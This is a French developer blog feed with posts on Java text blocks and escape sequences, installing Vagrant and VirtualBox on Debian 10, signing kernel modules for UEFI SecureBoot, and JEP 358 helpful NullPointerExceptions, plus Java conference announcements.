L’emplacement du caractère d’ouverture n’a pas d’importance. En revanche, l’emplacement du caractère de fermeture est très important, notamment s’il se trouve sur une nouvelle ligne.

Ainsi dans l’exemple suivant, le caractère de fermeture est décalé vers la droite

String html = """
              <html>
                  <body>
                      <p>Hello, world</p>
                  </body>
              </html>
        """;

Nous allons de nouveau utiliser le caractère point ( . ) pour visualiser les espaces inutiles.

String html = """
........      <html>
........          <body>
........              <p>Hello, world</p>
........          </body>
........      </html>
........""";

Donc, nous obtenons le résultat suivant :

|      <html>
|          <body>
|              <p>Hello, world</p>
|          </body>
|      </html>

Séquence d’échappements

Tous les séquences d’échappements définis dans les spécifications du langage java (section 3.10.6) sont supportées. Les plus courantes sont : \n \t \' \" et \\

L’utilisation du caractère guillemet ( " ) seul ou double est aussi possible. Nous pouvons par exemple écrire le code suivant

String code =
    """
    String empty = "";
    """;

String code =
    """
    String text = \"""
        A text block inside a text block
    \""";
    """;

Nouvelles séquences d’échappements

A partir de la seconde "Preview" (JEP 368), une nouvelle séquence d’espacement a été introduite : \<line-terminator>

Cela permet d’écrire une chaine de caractère sur plusieurs lignes sans tenir compte du retour chariot.

String text = """
                Lorem ipsum dolor sit amet, consectetur adipiscing \
                elit, sed do eiusmod tempor incididunt ut labore \
                et dolore magna aliqua.\
                """;

Cela est l’équivalent à :

String literal = "Lorem ipsum dolor sit amet, consectetur adipiscing " +
                 "elit, sed do eiusmod tempor incididunt ut labore " +
                 "et dolore magna aliqua.";

L’autre séquence est \s. Elle permet de se prémunir de la suppression des espaces en fin de ligne. C’est à dire, si les espaces en fin de ligne sont significatifs, l’utilisation de cette séquence permet de le signaler.

Par exemple, dans l’exemple ci-dessous, les espaces en fin de ligne sont significatif car cela permet d’avoir des chaines de caractères de même longueur :

String colors = """
    red  \s
    green\s
    blue \s
    """;

De nouveau, en utilisant le caractère pipe ( | ), cela permet de mieux visualiser le résultat.

|red  |
|green|
|blue |

Références

VirtualBox, Vagrant on Debian 10 "Buster"

mer., 25 mars 2020 00:00:00 +0100

Table of Contents

Contexte
Installation de Vagrant
Installation de VirtualBox
- Configuration avec SecureBoot
- Signer les modules VirtualBox
Références

Contexte

Récemment, j’ai installé mon nouveau portable professionnel avec Debian 10 "Buster". Pour mes différents travaux, j’ai pris l’habitude de travailler avec des environnement sous Vagrant. Cela permet de construire mes environnements de tests ou de tester simplement de nouveaux produits. En complément, j’utilise VirtualBox comme fournisseur pour les VMs.

Mais pourquoi ce billet ? La raison est simple. Le produit VirtualBox n’est disponible sous "Buster". Vous pouvez le voir avec le lien suivant : Packages Debian ou avec la capture d’écran ci-dessous (réalisé lors de l’écriture de ce billet.)

Installation de Vagrant

C’est la partie la plus simple. Le package existe au niveau de la distribution.

Donc, il suffit de taper la commande suivante en tant que root

apt-get install vagrant

Le point important est que la version incluse est la version 2.2.3. La dernière version de VirtualBox supportée est la version 6.0. Nous aurons l’occasion de revenir dessus.

Vagrant has detected that you have a version of VirtualBox installed that is not supported by this version of Vagrant. Please install one of the supported versions listed below to use Vagrant:

4.0, 4.1, 4.2, 4.3, 5.0, 5.1, 5.2, 6.0

— vagrant 2.2.3

Installation de VirtualBox

Comme énoncé précédemment, le produit n’est pas inclus dans la distribution. Heureusement, Oracle met à la disposition un dépôt pour les distributions à base de Debian.

Pour les sources externes, je préfère créer un fichier spécifique. Donc pour cela, je crée un fichier virtualbox.list dans le dossier /etc/apt/sources.list.d/

deb [arch=amd64] http://download.virtualbox.org/virtualbox/debian buster contrib

Au jour de l’écriture de ce billet, il y a deux versions :

virtualbox-6.0
virtualbox-6.1

Nous allons utiliser le packet virtualbox-6.0 pour des raisons de compatibilité de vagrant.

Le support de virtualbox-6.0 est présent jusqu’en juillet 2020.

Suite à l’inclusion d’une nouvelle origine des sources, il sera nécessaire d’ajouter la clef Oracle pour les packages. Il existe plusieurs clefs, celle pour Buster est la suivante: oracle_vbox_2016.asc.

for Debian 8 ("Jessie") / Ubuntu 16.04 ("Xenial") and later

— Site VirtualBox.org

L’empreinte de la clé oracle_vbox_2016.asc est

B9F8 D658 297A F3EF C18D  5CDF A2F6 83C5 2980 AECF
Oracle Corporation (VirtualBox archive signing key) <info@virtualbox.org>

Nous allons pouvoir installer la clé

apt-key add oracle_vbox_2016.asc

Enfin, nous allons pouvoir passer à l’installation à proprement parler.

# apt-get update
# apt-get install virtualbox-6.0

Si vous n’utilisez pas SecureBoot, l’installation est terminée et vous pouvez utiliser les produits. Profitez-en !

Configuration avec SecureBoot

En revanche, si vous avez SecureBoot activé comme moi, vous aurez un problème avec VirtualBox. En effet, lors de l’installation de virtualbox, vous verrez l’erreur ci-dessous.

# apt-get install virtualbox-6.0
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Paquets recommandés :
  linux-image
Les NOUVEAUX paquets suivants seront installés :
  virtualbox-6.0
0 mis à jour, 1 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 103 Mo dans les archives.
Après cette opération, 227 Mo d'espace disque supplémentaires seront utilisés.
Réception de :1 http://download.virtualbox.org/virtualbox/debian buster/contrib amd64 virtualbox-6.0 amd64 6.0.18-136238~Debian~buster [103 MB]
103 Mo réceptionnés en 3s (40,9 Mo/s)
Préconfiguration des paquets...
Sélection du paquet virtualbox-6.0 précédemment désélectionné.
(Lecture de la base de données... 252252 fichiers et répertoires déjà installés.)
Préparation du dépaquetage de .../virtualbox-6.0_6.0.18-136238~Debian~buster_amd64.deb ...
Dépaquetage de virtualbox-6.0 (6.0.18-136238~Debian~buster) ...
Paramétrage de virtualbox-6.0 (6.0.18-136238~Debian~buster) ...
Fin de la procédure.
vboxdrv.sh: failed: modprobe vboxdrv failed. Please use 'dmesg' to find out why.

There were problems setting up VirtualBox.  To re-start the set-up process, run
  /sbin/vboxconfig
as root.  If your system is using EFI Secure Boot you may need to sign the
kernel modules (vboxdrv, vboxnetflt, vboxnetadp, vboxpci) before you can load
them. Please see your Linux system's documentation for more information.
Traitement des actions différées (« triggers ») pour mime-support (3.62) ...
Traitement des actions différées (« triggers ») pour hicolor-icon-theme (0.17-2) ...
Traitement des actions différées (« triggers ») pour gnome-menus (3.31.4-3) ...
Traitement des actions différées (« triggers ») pour systemd (241-7~deb10u3) ...
Traitement des actions différées (« triggers ») pour shared-mime-info (1.10-1) ...
Traitement des actions différées (« triggers ») pour desktop-file-utils (0.23-4) ...

Si vous lancez la commande /sbin/vboxconfig comme conseillé en premier lieu, cette dernière vous proposera de désactiver le SecureBoot.

Voulant garder la sécurité maximale de mon ordinateur, je préfère la seconde solution. C’est à dire signer les modules du noyau (vboxdrv, vboxnetadp, vboxnetfltet vboxpci)

Pour la signature des modules, il est nécessaire de mettre en place une configuration particulière avec son propre certificat, je vous renvoie vers mon précédent billet sur le sujet. J’y explique pourquoi et comment réaliser les opérations.

Signer les modules VirtualBox

Une fois la configuration faite, nous allons pouvoir signer nos modules. Pour cela nous allons utiliser la commande sign-file. L’emplacement est en fonction du noyau que vous utilisez. Dans mon cas, c’est le noyau 4.19. Pour simplifier, je définis un alias mais cela n’est pas obligatoire.

alias sign-file="/usr/lib/linux-kbuild-4.19/scripts/sign-file"

Vous devez ensuite mettre la pass-phrase dans la variable KBUILD_SIGN_PIN sans oublier de l’exporter

[ -z "${KBUILD_SIGN_PIN}" ] && read -p "Passphrase for ${key}: " KBUILD_SIGN_PIN
export KBUILD_SIGN_PIN

Enfin, vous pouvez utiliser la commande sign-file qui possède quatre arguments :

Algorithme de hash (ex : sha256)
Votre clé privée (key)
Votre certificat (x509)
Votre module

sign-file "${hash_algo}" "${key}" "${x509}" "${module}"

Une fois la signature réalisée, vous pourrez vérifier avec la commande modinfo.

modinfo vboxdrv

Vous devriez voir les propriétés : sig_id, signer, sig_key, sig_algo et signature :

filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions
sig_id:         PKCS#7
signer:         dali
sig_key:        8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45
sig_hashalgo:   sha256
signature:      8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		CD:3D:41:65:AF:E8:B1:0F:CF:ED:6A:E6:D1:7B:0A:FF
parm:           force_async_tsc:force the asynchronous TSC mode (int)

Chargez vos modules avec la commande modprobe. Pour rappel, il y en a quatres :

vboxdrv.ko,
vboxnetadp.ko,
vboxnetflt.ko
vboxpci.ko.

Les modules se trouvent dans le répertoire :

/lib/modules/4.19.0-8-amd64/misc

Là encore, le répertoire est relatif à la version du noyau que vous utilisez.

L’installation et la configuration sont terminée. Profites-en !

Références

SecureBoot, Signer des modules et pourquoi ?

sam., 29 févr. 2020 00:00:00 +0100

Table of Contents

Contexte
Définitions
Génération du certificat
Enregister le certificat
- Vérification :
Signer les modules
Charger les modules
Références

Contexte

J’ai eu l’occasion d’installer Debian sur mon nouveau portable. Vu que Debian 10 prend en charge le démarrage avec UEFI (Unified Extensible Firmware Interface), j’ai commencé à me renseigner sur son intérêt.

Je me rappelle que lors de la sortie de l’UEFI, une vague de protestation s’était levée contre ce système et la main mise de la part de Microsoft. Cependant, comme le précise le site debian.org, l’objectif est bien la protection de l’utilisateur. (SB = SecureBoot)

UEFI Secure Boot is not an attempt by Microsoft to lock Linux out of the PC market here; SB is a security measure to protect against malware during early system boot. Microsoft act as a Certification Authority (CA) for SB, and they will sign programs on behalf of other trusted organisations so that their programs will also run. There are certain identification requirements that organisations have to meet here, and code has to be audited for safety. But these are not too difficult to achieve.

— debian.org

J’ai donc décidé d’installer ma Debian avec UEFI activé.

Cependant, au delà de l’installation initiale, j’ai installé virtualbox pour mon besoin. Et là, les problèmes arrivent car en effet après l’installation de virtualbox, le lancement ne fonctionne pas et affiche l’erreur suivante :

WARNING: The vboxdrv kernel module is not loaded. Either there is no module
         available for the current kernel (4.19.0-8-amd64) or it failed to
         load. Please recompile the kernel module and install it by

           sudo /sbin/vboxconfig

         You will not be able to start VMs until this problem is fixed.

Il est à noter que des erreurs étaient affichées dans la console lors de l'installation.

A ce stade, deux solutions existent :

Désactiver l'UEFI
Signer les modules de virtualbox.

Vu que le système de l'UEFI avec le SecureBoot reste intéressant au niveau de la sécurité, j'ai continué à me documenter sur le sujet afin de ne pas désactiver l'UEFI et de revenir à l'ancien mode.

Donc, je me suis interessé sur la deuxième piste, c'est à dire comment faire pour signer les modules et notammment les modules nécessaires pour virtualbox :

vboxdrv.ko, vboxpci.ko, vboxnetflt.ko, vboxnetadp.ko

Ce billet est l'occasion de partager le résultat de mes recherches.

Définitions

Commençons par quelques définitions :

UEFI : Unified Extensible Firmware Interface
SecureBoot : Mécanisme de vérification permettant de s'assurer que le code lancé par UEFI est approuvé.
Shim : Simple programme qui est construit pour prendre en charge le bootloader sur les systèmes UEFI.
MOK - Machine Owner Key : L'architecture de shim est que l'utilisateur garde le contrôle. Une base de données de certificat externe a été mis en place. Le certificat de la distribution (ici debian) est inclus dans les binaires de shim. L'utilisateur est capable de gérer ses propres certificats.
mokutil - Utilitaire qui permet à l'utilisateur de gérer les certificats de MOK.

Génération du certificat

Nous allons généré un certificat. Vis à vis de la sécurité du système, il doit être placé dans un endroit protégé et sécurisé. Pour cela, je propose de créer un répertoire au niveau du répertoire home de l'utilisateur root : /root/module-signing

mkdir /root/module-signing
cd /root/module-signing

Pour la génération du certificat, nous allons utiliser l'outil classique openssl. Nous allons utiliser la commande suivante, cela permet d'avoir notamment le bon format de sortie (DER) :

openssl req -new -x509 -newkey rsa:2048 -keyout MOK.priv -outform DER -out MOK.der -days 36500 -subj "/CN=dali/" -nodes

Il y a deux points à noter :

Le champ CN est libre. Nous pouvons mettre ce que nous voulons.
La durée de validité est de 36 500 jours, soit 100 ans pour être tranquille.

Enregister le certificat

Maintenant, il va falloir ajouter le certificat dans la base citée précédemment (MOK). Il sera à coté de celui de la distribution, Debian en l'occurence.

mokutil --import MOK.der

Pour vérifier, nous avons utilisé la commande suivante :

mokutil --list-new

Par la suite, il est nécessaire de redémarrer l'ordinateur. Un écran shim s'affichera pour permettre d'importer réellement le certificat. Il sera demandé le mot de passe de la clé privée. D'où l'intérêt de choisir un mot de passe qui est facile à saisir quelque soit le clavier. (Nous sommes en phase de démarrage, donc pas de clavier français chargé)

Les étapes seront les suivantes :

Affichage de l'écran de Shim, appuyer sur un touche,
Choisir l'item "Enroll MOK",
Choisir le certificat,
Affichage des informations du certificat sélectionné,
Confirmation de l'enregistrement (enroll) en sélectionnant Yes,
Saisir le mot de passe de la clé privée,
Confirmer avant le redémarrage du système.

Vérification :

Vous pouvez utiliser la commande suivante après le redémarrage pour vérifier que le certificat est bien présente.

mokutil --list-enrolled

Ci-dessous, un exemple en gardant uniquement l'émetteur. Dans mon cas, j'ai bien deux certificats :

mon certificat
certificat de la distribution

mokutil --list-enrolled | grep Issuer
        Issuer: CN=dali
        Issuer: CN=Debian Secure Boot CA
                CA Issuers - URI:https://dsa.debian.org/secure-boot-ca

Maintenant que le certificat est en place, nous allons pouvoir signer les modules

Signer les modules

Pour signer, il faut exécuter le programme sign-file. L'emplacement est différent suivant la distribution et la version du noyau.

Pour Debian 10, il se trouve à cet emplacement : /usr/lib/linux-kbuild-4.19/scripts

La commande a exécuter pour chaque module est la suivante :

/usr/lib/linux-kbuild-4.19/scripts/sign-file ${hash_algo} ${key} ${cert} ${module}

La commande possède quatres arguments :

hash_algo : Algorithme de hashage. (ex sha256)
key : Clé privée
cert : Certificat
module : Module concerné

La clé privée est protégée par un mot de passe, il est nécessaire de définir la variable KBUILD_SIGN_PIN et de la valoriser avec le mot de passe.

Charger les modules

Une fois signée, les modules peuvent être chargés via la commande modprobe.

Il est intéressant de vérifier que le module est bien signé et par quel certificat. Nous allons utiliser la commande modinfo

Voici le résultat avant la signature du module :

modinfo vboxdrv
filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions

Voici le résultat après la signature du module. Nous avons les propriétés supplémentaires : sig_id, signer, sig_key; sig_hashalgo, signature

filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions
sig_id:         PKCS#7
signer:         dali
sig_key:        8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45
sig_hashalgo:   sha256
signature:      8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		CD:3D:41:65:AF:E8:B1:0F:CF:ED:6A:E6:D1:7B:0A:FF
parm:           force_async_tsc:force the asynchronous TSC mode (int)

Références

UEFI (en) - Site debian.org
SecureBoot (en) - Site debian.org
Debian 10 et Secure Boot : comment s’adapter au démarrage sécurisé ?
Tutoriel pour signer les modules (en)
Sign kernel modules (en) - Site stackexchange.com
Exemple de scripts pour signer
Commande openssl (manpage en)
Commande mokutil (manpage en)

JEP 358 Helpful NullPointerExceptions

mar., 29 oct. 2019 00:00:00 +0100

Table of Contents

Contexte
Mise en pratique
Références
- Liens supplémentaires :

Contexte

En suivant l’actualité du projet OpenJDK, j’ai remarqué qu’une nouvelle JEP (JDK Enhancement Proposals) a été accepté pour être inclus dans la version 14 du JDK.

Targeted to JDK 14: JEP 358: Helpful NullPointerExceptions : openjdk.java.net/jeps/358 #jdk14 #openjdk #java

— OpenJDK
sur Twitter (2 octobre 2019)

Une proposition de plus, mais son petit nom ne me laisse pas indiférent. C’est la Helpful NullPointerExceptions, cela pourrait se traduire par NullPointerException utile. Qu’est ce qui se cache dernière ce nom.

En effet, quel developpeur Java n’a pas été confronté à un NullPointerException sur son poste de dévellopement ou en production ?

Initialement, pour illustrer cet article, j’étais parti sur une trace quelconque d’un NullPointerException. Mais, j’ai pu rencontré un cas concret qui m’a permis de voir un vrai cas d’école. Je le présente ci-dessous :

DEBUG [org.apereo.cas.web.support.CookieRetrievingCookieGenerator] - <null>
java.lang.NullPointerException: null
        at org.apereo.cas.web.support.EncryptedCookieValueManager.obtainCookieValue(EncryptedCookieValueManager.java:35) ~[cas-server-core-cookie-api-5.3.6.jar:5.3.6]
        at org.apereo.cas.web.support.CookieRetrievingCookieGenerator.retrieveCookieValue(CookieRetrievingCookieGenerator.java:148) ~[cas-server-core-cookie-api-5.3.6.jar:5.3.6]
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_40]
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_40]
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_40]
        at java.lang.reflect.Method.invoke(Method.java:497) ~[?:1.8.0_40]

De plus, comme tout exception, il est normalement possible d’avoir un message.

Returns the detail message string of this throwable.

Returns: the detail message string of this Throwable instance (which may be null).

— getMessage
Extrait de la Javadoc

Mais comme d’habiture, nous obtenons le message suivant :

java.lang.NullPointerException: null

La seule information que nous avons pour l’instant est que cela se passe sur la ligne 35. En regardant le code, nous avons :

34:    public final String obtainCookieValue(final Cookie cookie, final HttpServletRequest request) {

35:        final String cookieValue = cipherExecutor.decode(cookie.getValue(), new Object[]{}).toString();

36:        LOGGER.debug("Decoded cookie value is [{}]", cookieValue);
37:        if (StringUtils.isBlank(cookieValue)) {
38:            LOGGER.debug("Retrieved decoded cookie value is blank. Failed to decode cookie [{}]", cookie.getName());
39:            return null;
40:        }
41:
42:        return obtainValueFromCompoundCookie(cookieValue, request);
43:    }

Sans plus d’information, nous avons plusieurs possibilités sur cette ligne :

Soit l’attribut cipherExecurtor est null,
Soit le paramètre cookie est null,
Soit la méthode decode(…) renvoie null.

Mise en pratique

Premier test

Passons à la mise en pratique, pour cela, nous allons commencer par un code simple

    @Test (expected=NullPointerException.class)
    public void testSimple() {
        try {
            String str = null;

            str.length();

        } catch (NullPointerException e) {
            e.printStackTrace();
            throw e;
        }
    }

Je vous l’accorde, c’est facile même l’IDE me dit : la variable str est null. Mais voyons ensemble le résultat obtenu.

On commence par faire tourner avec un JDK classique. En l’occurence, je prends un JDK 11. Voici le message obtenu (classique et malheureusement bien connu)

-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest.testSimple(NullPointerExceptionHelpulTest.java:11)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)

En utilisant un JDK intégrant cette fonctionnalité, nous obtenons le message suivant:

-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest
java.lang.NullPointerException: 'str' is null. Can not invoke method 'int java.lang.String.length()'.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest.testSimple(NullPointerExceptionHelpulTest.java:11)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:567)

Le message est déjà plus clair.

Exemple plus concret

Prenons la méthode suivante :

public boolean isVide(StringHolder holder) {
        return (holder.getChaine().length() > 0);
}

Si je lance le test avec un JDK 11, nous obtenons le message suivant :

Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.isVide(NullPointerExceptionHelpulHolderTest.java:19)
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.testHolder(NullPointerExceptionHelpulHolderTest.java:11)

Nous sommes déjà sur un cas plus délicat. Nous avons deux possibilités :

soit le paramètre holder est null
soit la méthode holder.getChaine() renvoie null

En revanche, on obtient un message très clair avec la nouvelle fonctionnalité:

Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest
java.lang.NullPointerException: The return value of 'java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()' is null. Can not invoke method 'int java.lang.String.length()'.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.isVide(NullPointerExceptionHelpulHolderTest.java:19)
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.testHolder(NullPointerExceptionHelpulHolderTest.java:11)

Lecture du message

En réalité, le message est décomposé en deux partie:

la première partie est la raison du NullPointerException.

The return value of 'java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()' is null

— c'est le retour de la méthode getChaine() qui renvoie null

La seconde est la conséquence de l’exception.

Can not invoke method 'int java.lang.String.length()'

— nous ne pourrons pas appeler la méthode length()

Précision sur le message

Les tests ont été réalisés avec le prototype de mars 2019. Il est disponible sur la branche JEP-8220715-NPE_messages Cependant, dans le cadre de la JEP, les deux parties du message seront inversées. Cela donnera le message suivant :

Can not invoke method 'int java.lang.String.length()' because The return value of 'java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()' is null

Exemple avec les tableaux

Prenons le cas de manipulation de tableau, en ligne 17, nous avons la ligne suivante :

17:     tab[i][j][k] = 25;

En lançant le test avec un JDK 11, nous obtenons le message suivant :

Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest.testTableau(NullPointerExceptionHelpulTableauTest.java:17)

En regardant le code, nous nous posons la question sur l’origine :

soit c’est tab qui est null
soit c’est tab[i] qui est null
soit c’est tab[i][j] qui est null

Là encore, la réponse est très claire avec un JDK incluant cette fonctionnalité

'tab[i][j]' is null. Can not store to null int array.

En replaçant le message dans la pile d’appel, nous obtenons la trace suivante :

-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest
java.lang.NullPointerException: 'tab[i][j]' is null. Can not store to null int array.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest.testTableau(NullPointerExceptionHelpulTableauTest.java:17)

Activation

Dans la cas de la réalisation de cette fonctionnalité, il faut noter qu’elle ne sera pas activée par défaut. Deux raisons sont avancées :

Fuite d’informations dans les traces
Impact sur les parseurs des journaux.

Donc pour l’activer, il faudra ajouter l’option suivante :

XX:{+|-}ShowCodeDetailsInExceptionMessages

Elle sera activée par défaut dans une prochaine version.

Approfondissement

En étudiant la proposition d’évolution, nous pouvons voir que l’exception peut provoquer en réalité plusieurs conséquences :

Ne peux pas charger un élément du tableau ( "Cannot load from <element type> array" )
Ne peux pas lire la longueur du tableau ( "Cannot read the array length" )
Ne peux pas enregister l’élément du tableau ( "Cannot store to <element type> array" )
Ne peux pas lever une exception ( "Cannot throw exception" )
Ne peux pas lire un attribut ( "Cannot read field '<field name>'" )
Ne peux pas appeler une méthode ( "Cannot invoke '<method>'" )
Ne peux pas entrer dans un bloc synchronisé ( "Cannot enter synchronized block" )
Ne peux pas sortir d’un bloc synchronisé ( "Cannot exit synchronized block" )
Ne peux pas affecter l’attribut ( "Cannot assign field '<field name>'" )

Comment tester ?

Le projet java contenant les cas de tests présentées dans ce billet est disponible sur github.

Dépôt GitHUB billets-codes-sources

Références

Liens supplémentaires :

Annonce de la proposition sur la liste de diffusion jdk-dev
Proposition acceptée sur la liste de diffusion jdk-dev

"Java 11, 12 sont sortis et bientôt le 13, c est le moment de remplacer son JDK 8" - ParisJUG

mar., 10 sept. 2019 00:00:00 +0200

Voici le sujet

Java 11 est sorti en septembre dernier, estampillé LTS (Long Term Support),

Java 12 est sorti en mars dernier,

Java 13 va sortir la semaine prochaine, soit le 17 septembre 2019

Que de changement depuis Java 8 ?

Nouvelle sortie de Java tous les 6 mois

Notion de LTS

Java 9 et ses fameux modules

Changement de licence d’Oracle

Après la sortie de Java 9, 10, 11, 12 et bientôt 13, c’est le moment de franchir le cap et de changer de JDK. Nous aborderons les nouveautés et nous verrons les points d’attention.

En clair, tout ce que vous devez savoir pour commencer ou migrer votre projet en Java 11+ en douceur.

Vidéo de la présentation

La conférence a été filmée et elle est disponible en deux parties

Partie 1 - Youtube

Partie 2 - Youtube

Support de présentation

Le support de la présentation est disponible sur SpeakerDeck.com

Références :

Annonce sur le site du ParisJUG

"Java 11, 12.. c est le moment de changer son JDK8" - BordeauxJUG

jeu., 16 mai 2019 00:00:00 +0200

Voici le sujet

Java 12 est sorti comme prévu en mars dernier.

Java 11 est sorti en septembre dernier, estampillé LTS (Long Term Support)

Que de changement depuis Java 8 ?

Nouvelle sortie de Java tous les 6 mois

Notion de LTS

Java 9 et ses fameux modules

Changement de licence d’Oracle

Après la sortie de Java 9, 10, 11, et 12 c’est le moment de franchir le cap et de changer de JDK. Nous verrons les nouveautés, les points d’attention.

En clair, tout ce que vous devez savoir pour commencer ou migrer votre projet en Java 11 en douceur.

Vidéo de la présentation

La conférence a été filmée et elle est disponible sur Youtube

Support de présentation

Le support de la présentation est disponible sur SpeakerDeck.com

Références

Annonce Meetup du BordeauxJUG

"Créer facilement des microservices avec Eclipse MicroProfile" - Conférence Devoxx France

mer., 17 avr. 2019 00:00:00 +0200

Contexte

J’ai eu le plaisir d’être sélectionné par le jury de Devoxx France pour animer une Université sur la création des microservices avec Eclipse Microprofile pour la deuxième année consécutive. Cette année est particulière car je suis seul pour animer cette université. C’est un bon défi pour moi.

Voici le sujet

L’architecture des microservices apporte son lot d’avantages mais surtout des nouveaux challenges pour les équipes de développements.

Le monde Java n’est pas en reste, profitant des spécifications matures de Java EE / Jakarta EE (JAX-RS, CDI..), une communauté s’est construite en essayant d’apporter des éléments de réponses aux nouveaux défis : MicroProfile sous l’égide de la fondation Eclipse. Pour cela, une série de nouvelles spécifications ont été créés : Config, OpenAPI, Rest Client, HealthCheck, Propagation JWT, Fault Tolerance, Metrics.

Le déploiement est sous forme d’uberjar, c’est à dire sans installation de serveur d’applications au préalable. On démarre comme une simple application java.

